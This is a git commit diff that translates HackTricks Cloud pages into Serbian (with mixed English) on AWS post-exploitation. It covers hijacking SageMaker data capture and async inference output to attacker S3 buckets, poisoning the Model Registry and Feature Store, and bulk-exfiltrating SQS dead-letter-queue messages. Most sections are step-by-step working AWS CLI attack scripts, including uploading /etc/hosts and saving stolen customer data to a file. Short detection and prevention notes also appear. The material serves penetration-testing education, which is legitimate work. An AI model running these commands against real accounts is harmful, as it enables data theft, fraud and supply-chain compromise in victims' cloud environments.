Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-23 13:46:10 +00:00
parent 0619ba14df
commit bb7d670026
5 changed files with 439 additions and 154 deletions

View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
## SageMaker endpoint odliv podataka preko UpdateEndpoint DataCaptureConfig
Iskoristite upravljanje SageMaker endpoint-om da omogućite potpuno snimanje zahteva i odgovora u S3 bucket koji kontroliše napadač, bez diranja modela ili container-a. Koristi zero/lowdowntime rolling update i zahteva samo dozvole za upravljanje endpoint-om.
Iskoristite SageMaker endpoint management da omogućite potpuni snimak zahteva/odgovora u attackercontrolled S3 bucket bez diranja modela ili containera. Koristi zero/lowdowntime rolling update i zahteva samo endpoint management permissions.
### Zahtevi
### Requirements
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (ili koristite postojeći bucket u istom nalogu)
- Opcionalno (ako se koristi SSEKMS): `kms:Encrypt` na odabranom CMK
- Cilj: Postojeći InService realtime endpoint u istom nalogu/regiji
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: An existing InService realtime endpoint in the same account/region
### Koraci
1) Identifikujte InService endpoint i prikupite trenutne produkcione varijante
### Steps
1) Identifikujte InService endpoint i prikupite trenutne varijante u produkciji
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,7 +22,7 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Pripremite attacker S3 destinaciju za captures
2) Pripremite attacker S3 destinaciju za snimke
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
@@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION
```
3) Kreirajte novi EndpointConfig koji zadržava iste varijante, ali omogućava DataCapture u attacker bucket
Napomena: Koristite eksplicitne content-type vrednosti koje zadovoljavaju CLI validaciju.
Napomena: Koristite eksplicitne tipove sadržaja koji zadovoljavaju CLI validaciju.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,35 +54,35 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja)
4) Primeni novi config pomoću rolling update (minimal/no downtime)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Generišite najmanje jedan poziv za inferencu (opciono ako postoji saobraćaj uživo)
5) Generišite najmanje jedan poziv за inferencu (opciono ако већ постоји live саобраћај)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Potvrdite captures u attacker S3
6) Validirajte snimke u napadačevom S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Uticaj
- Potpuna exfiltration realtime inference request i response payloadova (i metapodataka) sa ciljanog endpointa u S3 bucket pod kontrolom napadača.
- Nema izmena model/container imagea i samo izmene na nivou endpointa, što omogućava prikriveni put krađe podataka sa minimalnim operativnim prekidima.
- Potpuna exfiltration realtime inference request i response payloadova (i metapodataka) sa ciljane endpoint u S3 bucket pod kontrolom napadača.
- Bez izmena modela/slike kontejnera i samo izmene na nivou endpointa, omogućavajući a stealthy data theft path sa minimalnim operativnim ometanjem.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Iskoristite upravljanje endpointom da preusmerite izlaze asinkronih inferencea u S3 bucket pod kontrolom napadača kloniranjem trenutnog EndpointConfiga i postavljanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (i sve transformisane inpute koje container uključuje) bez menjanja modela/containera.
Iskoristite upravljanje endpointom da preusmerite asinhrone izlaze inferencije u S3 bucket pod kontrolom napadača tako što ćete klonirati trenutni EndpointConfig i postaviti AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Ovo exfiltrates predikcije modela (i bilo koje transformisane ulaze koje uključuje kontejner) bez izmene modela/slike kontejnera.
### Requirements
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Sposobnost upisa u S3 bucket pod kontrolom napadača (putem model execution role ili permissive bucket policy)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
- S3: Mogućnost pisanja u S3 bucket pod kontrolom napadača (putem model execution role ili permisivne bucket policy)
- Target: An InService endpoint gde se asinhrone invokacije koriste (ili će se koristiti)
### Steps
1) Gather current ProductionVariants from the target endpoint
@@ -92,13 +92,13 @@ EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject u njega)
2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject na njega)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Kloniraj EndpointConfig i hijack AsyncInference izlaze u attacker bucket
3) Clone EndpointConfig i hijack AsyncInference izlaze u attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Pokrenite async invocation i proverite da li objects dospevaju u attacker S3
4) Pokrenite async invocation i proverite da li objekti stignu u attacker S3
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Uticaj
- Preusmerava rezultate asinhrone inferencije (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/post-obrade koje proizvodi container, bez menjanja model code ili image i uz minimalan/nikakav zastoj.
- Preusmerava rezultate asinhronog inferiranja (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih pre/post-procesiranih ulaza koje proizvodi kontejner, bez menjanja koda ili slike modela i uz minimalno/bez zastoja.
## SageMaker Model Registry injekcija lanca snabdevanja preko CreateModelPackage(Approved)
## SageMaker Model Registry supply-chain injekcija putem CreateModelPackage(Approved)
Ako napadač može CreateModelPackage na ciljanoj SageMaker Model Package Group, može registrovati novu verziju modela koja pokazuje na attacker-controlled container image i odmah je označiti kao Approved. Mnogi CI/CD pipelines automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što rezultira attacker code execution pod execution rolama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy.
Ako napadač može da izvrši CreateModelPackage na ciljanoj SageMaker Model Package Group, može da registruje novu verziju modela koja pokazuje na sliku kontejnera pod kontrolom napadača i odmah je označi kao Approved. Mnogi CI/CD pipeline-i automatski deploy-uju Approved verzije modela na endpoint-e ili training job-ove, što rezultira izvršavanjem koda napadača pod execution rolama servisa. Cross-account izloženost može biti pojačana permisivnom ModelPackageGroup resource policy.
### Zahtevi
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Opcionalno (za kreiranje grupe ako ne postoji): `sagemaker:CreateModelPackageGroup`
- S3: pristup za čitanje do referenciranog ModelDataUrl (ili host attacker-controlled artifacts)
- Cilj: A Model Package Group koju downstream automation prati za Approved verzije
- IAM (minimum da kompromituje postojeću grupu): `sagemaker:CreateModelPackage` na ciljanoj ModelPackageGroup
- Opcionalno (da kreira grupu ako ne postoji): `sagemaker:CreateModelPackageGroup`
- S3: Read pristup referenciranom ModelDataUrl (ili hostovanje artefakata pod kontrolom napadača)
- Cilj: A Model Package Group koju downstream automatizacija prati za Approved verzije
### Koraci
1) Podesiti region i kreirati/pronaći ciljani Model Package Group
1) Podesiti region i kreirati/pronaći ciljanu Model Package Group
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Pripremite probne podatke modela u S3
2) Pripremite lažne podatke za model u S3
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registrujte zlonamerni (ovde bezopasan) Approved model package version koja referencira javni AWS DLC image
3) Registrujte zlonamerni (ovde benigni) Approved model package version koji referencira javnu AWS DLC image
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Proverite da nova odobrena verzija postoji
4) Proverite da li nova odobrena verzija postoji
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Uticaj
- Zatrovati Model Registry Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koji automatski deploy-uju Approved models mogu povući i pokrenuti attacker image, što dovodi do izvršavanja koda pod endpoint/training rolama.
- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba se može pokrenuti cross-account.
- Poison the Model Registry sa Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koje automatski deploy-uju Approved modele mogu povući i pokrenuti napadačev image, što može dovesti do izvršavanja koda pod endpoint/training roles.
- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba može biti pokrenuta cross-account.
## Zatrovanje Feature store
## Feature store poisoning
Zlorabiti `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup models ili endpoints.
Zloupotrebite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup modelima ili endpointima.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete aktivne vrednosti feature-ova koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-ove i izneti poverljive ML podatke. Ovo ne zahteva pristup modelima ili endpoint-ima, što ga čini direktnim napadom na sloj podataka.
{{#include ../../../../banners/hacktricks-training.md}}
Iskoristiti `sagemaker:PutRecord` na Feature Group-u sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup modelima ili endpoint-ima.
## Zahtevi
- Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava inferencu u realnom vremenu)
- Složenost: **NISKO** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelom
- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava real-time inference)
- Složenost: **LOW** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelima
## Koraci
### Prikupljanje informacija
### Reconnaissance
1) Navesti Feature Groups sa omogućenim OnlineStore
1) Nabrojite Feature Groups sa omogućenim OnlineStore
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -26,9 +28,9 @@ aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName`, i sve definicije feature-a. Oni su potrebni za sastavljanje validnih zapisa.
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName` i sve definicije feature-a. Oni su potrebni za kreiranje važećih zapisa.
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
### Scenarij napada 1: Data Poisoning (Overwrite Existing Records)
1) Pročitajte trenutni legitimni zapis
```bash
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Zatrovaj zapis malicioznim vrednostima koristeći inline `--record` parametar
2) Zatrovati zapis zlonamernim vrednostima koristeći inline `--record` parametar
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) Proverite poisoned data
3) Proverite zatrovane podatke
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Uticaj**: ML modeli koji koriste ovu karakteristiku će sada videti `risk_score=0.99` za legitimnog korisnika, što može potencijalno blokirati njihove transakcije ili usluge.
**Uticaj**: ML modeli koji koriste ovu feature sada će videti `risk_score=0.99` za legitimnog korisnika, potencijalno blokirajući njihove transakcije ili usluge.
### Scenarij napada 2: Malicious Data Injection (Create Fraudulent Records)
### Scenarij napada 2: Maliciozna injekcija podataka (Kreiranje lažnih zapisa)
Ubaci potpuno nove zapise sa manipulisanim atributima kako bi zaobišao sigurnosne kontrole:
Injektujte potpuno nove zapise sa manipulisanim atributima kako biste izbegli sigurnosne kontrole:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
Proverite injection:
Potvrdite injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Uticaj**: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara.
**Uticaj**: Napadač kreira lažni identitet sa niskom ocenom rizika (0.01) koji može da izvede visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara.
### Scenarij napada 3: Eksfiltracija osetljivih podataka
Pročitajte više zapisa da biste izvukli poverljive karakteristike i profilisali ponašanje modela:
Pročitajte više zapisa da biste izvukli poverljive atribute i profilisali ponašanje modela:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Uticaj**: Poverljivi atributi (ocene rizika, obrasci transakcija, lični podaci) izloženi napadaču.
**Uticaj**: Poverljive karakteristike (ocene rizika, obrasci transakcija, lični podaci) izložene napadaču.
### Kreiranje test/demo Feature Group (opcioni)
### Kreiranje test/demo Feature Group-a (opciono)
Ako treba da kreirate test Feature Group:
```bash
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Detekcija
Nadgledajte CloudTrail za sumnjive obrasce:
- `PutRecord` događaji od neobičnih IAM principal-a ili IP adresa
- Visoka frekvencija `PutRecord` ili `GetRecord` poziva
- `PutRecord` sa anomalnim vrednostima feature-a (npr., risk_score izvan uobičajenog opsega)
- Masovne `GetRecord` operacije koje ukazuju na masovnu eksfiltraciju podataka
- Pristup van uobičajenog radnog vremena ili iz neočekivanih lokacija
Implementirajte detekciju anomalija:
- Validacija vrednosti feature-a (npr., risk_score mora biti 0.0-1.0)
- Analiza obrazaca zapisa (frekvencija, tajming, identitet izvora)
- Detekcija data drift-a (nenadane promene u distribucijama feature-a)
## References
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -1,53 +1,55 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
# AWS SQS DLQ Redrive Exfiltration putem StartMessageMoveTask
## Description
{{#include ../../../banners/hacktricks-training.md}}
Iskoristite SQS message move tasks da biste ukrali sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi se eksfiltrirali osetljivi podaci koji su se vremenom nakupili u DLQ-ovima.
## Opis
## What is a Dead-Letter Queue (DLQ)?
Zloupotrebite SQS message move tasks da ukradete sve akumulirane poruke iz Dead-Letter Queue (DLQ) žrtve preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika iskorišćava legitimnu AWS funkciju za oporavak poruka da bi exfiltrirala osetljive podatke koji su se vremenom nagomilali u DLQ-evima.
A Dead-Letter Queue je specijalan SQS queue u koji se poruke automatski šalju kada se ne uspešno obrade u glavnoj aplikaciji. Ove neuspele poruke često sadrže:
- Osetljive podatke aplikacije koji nisu mogli biti obrađeni
- Detalje o greškama i informacije za debug
## Šta je Dead-Letter Queue (DLQ)?
A Dead-Letter Queue je poseban SQS red u koji se poruke automatski šalju kada ne uspeju da budu uspešno obrađene od strane glavne aplikacije. Te neuspešne poruke često sadrže:
- Osetljive podatke aplikacije koje nije bilo moguće obraditi
- Detalje o greškama i informacije za debagovanje
- Personal Identifiable Information (PII)
- API tokene, kredencijale ili druge tajne
- Poslovno kritične podatke o transakcijama
- API tokens, kredencijale ili druge tajne
- Poslovno-kritične podatke o transakcijama
DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, što ih čini vrednim metama jer se vremenom u njima akumuliraju osetljivi podaci koje aplikacije nisu mogle ispravno obraditi.
DLQ-evi funkcionišu kao "groblje" za neuspešne poruke, što ih čini vrednim metama jer se vremenom u njima nagomilavaju osetljivi podaci koje aplikacije nisu pravilno obradile.
## Attack Scenario
## Scenarij napada
**Real-world example:**
1. **E-commerce application** obrađuje porudžbine kupaca kroz SQS
2. **Neke porudžbine zakažu** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ
3. **DLQ akumulira** nedelje/meseci neuspelih porudžbina koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Napadač dobija pristup** AWS credential-ima sa SQS dozvolama
5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima
6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u sopstveni queue
7. **Napadač izvuče** sve istorijske osetljive podatke u jednoj operaciji
**Primer iz stvarnog sveta:**
1. **Aplikacija za e-trgovinu** obrađuje porudžbine kupaca preko SQS-a
2. **Neke porudžbine neuspeju** (problemi sa plaćanjem, zalihe, itd.) i budu prebačene u DLQ
3. **DLQ se nagomilava** nedeljama/mesecima neuspešnih porudžbina koje sadrže podatke kupaca: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Napadač dobija pristup** AWS akreditivima sa SQS dozvolama
5. **Napadač otkriva** da DLQ sadrži hiljade neuspešnih porudžbina sa osetljivim podacima
6. **Umesto da pokušava da pristupi pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` za masovni transfer SVIH poruka u sopstveni red
7. **Napadač izvlači** sve istorijske osetljive podatke jednim potezom
## Requirements
- Izvorni queue mora biti konfigurisан kao DLQ (referenciran od strane bar jednog queue RedrivePolicy).
- IAM permissions (izvodi se kao kompromitovani žrtvin principal):
- Na DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Na destination queue: dozvola za dostavljanje poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično po defaultu dozvoljeno.
- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Zahtevi
- Izvorni red mora biti konfigurisan kao DLQ (referenciran bar od strane jednog reda preko RedrivePolicy).
- IAM dozvole (pokreće se kao kompromitovani principal žrtve):
- Na DLQ (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Na red odredištu: dozvola za isporuku poruka (npr. politika reda koja omogućava `sqs:SendMessage` od strane principal-a žrtve). Za destinacije u istom account-u ovo je obično dozvoljeno podrazumevano.
- Ako je omogućen SSE-KMS: na izvornoj CMK `kms:Decrypt`, i na destinacionoj CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltrate osetljive payload-e akumulirane u DLQ-ovima (neuspešni eventi, PII, tokeni, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od žrtvinog principala.
## Uticaj
Exfiltrate osetljive payload-e nagomilane u DLQ-evima (neuspešni eventi, PII, tokens, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako politika reda odredišta dozvoljava `SendMessage` od strane principal-a žrtve.
## How to Abuse
## Kako zloupotrebiti
- Identifikujte ARN žrtvinog DLQ-a i uverite se da je zaista referenciran kao DLQ od strane nekog queue-a (bilo koji queue je dovoljan).
- Kreirajte ili izaberite destination queue pod kontrolom napadača i dobijte njegov ARN.
- Pokrenite message move task sa žrtvinog DLQ-a na vaš destination queue.
- Identifikujte ARN DLQ žrtve i proverite da li je zaista referenciran kao DLQ od strane nekog reda (bilo koji red je dovoljan).
- Kreirajte ili izaberite red odredište koji kontroliše napadač i nabavite njegov ARN.
- Pokrenite message move task iz DLQ-a žrtve do vašeg reda odredišta.
- Pratite napredak ili otkažite po potrebi.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.
**Scenario**: Napadač je kompromitovao AWS akreditive i otkrio da aplikacija za e-trgovinu koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.
1) **Discover and examine the victim DLQ**
1) **Otkrivanje i pregled DLQ-a žrtve**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Kreirajte destinacijsku queue pod kontrolom napadača**
2) **Kreirajte odredišni red pod kontrolom napadača**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Izvršite masovnu krađu poruka**
3) **Izvršite bulk message theft**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Prikupite ukradene osetljive podatke**
4) **Prikupi ukradene osetljive podatke**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Napomene o Cross-account
- Odredišna queue mora imati resource policy koji omogućava victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
### Napomene za cross-account
- Odredišna queue mora imati resource policy koji dopušta victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
## Zašto je ovaj napad efikasan
1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, zbog čega je teško otkriti kao zlonamerno
2. **Bulk Operation**: Premešta hiljade poruka brzo umesto sporog pojedinačnog pristupa
1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, što ga čini teškim za otkrivanje kao zlonameran
2. **Bulk Operation**: Prenosi na hiljade poruka brzo umesto sporog pojedinačnog pristupa
3. **Historical Data**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako su dozvole omogućene
4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima detaljno
5. **Cross-Account Capable**: Može izvršiti eksfiltraciju u napadačev sopstveni AWS nalog ako dozvole to omogućavaju
## Detekcija i prevencija
## Otkrivanje i prevencija
### Detekcija
Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva:
### Otkrivanje
Pratite CloudTrail za sumnjive `StartMessageMoveTask` API pozive:
```json
{
"eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva:
}
```
### Prevencija
1. **Least Privilege**: Ograničiti `sqs:StartMessageMoveTask` dozvole samo na neophodne role
2. **Monitor DLQs**: Podesiti CloudWatch alarme za neobičnu aktivnost DLQs
3. **Cross-Account Policies**: Pažljivo pregledati SQS queue policies koje omogućavaju cross-account pristup
4. **Encrypt DLQs**: Koristiti SSE-KMS sa ograničenim politikama ključeva
5. **Regular Cleanup**: Ne dozvoljavati da se osetljivi podaci neograničeno akumuliraju u DLQs
1. **Princip najmanjih privilegija**: Ograničite `sqs:StartMessageMoveTask` dozvole samo na neophodne uloge
2. **Nadzor DLQ-ova**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-ova
3. **Politike za pristup između naloga**: Pažljivo pregledajte SQS queue policies koje omogućavaju pristup iz drugih naloga
4. **Šifrovanje DLQ-ova**: Koristite SSE-KMS sa ograničenim politikama ključeva
5. **Redovno čišćenje**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ovima
{{#include ../../../banners/hacktricks-training.md}}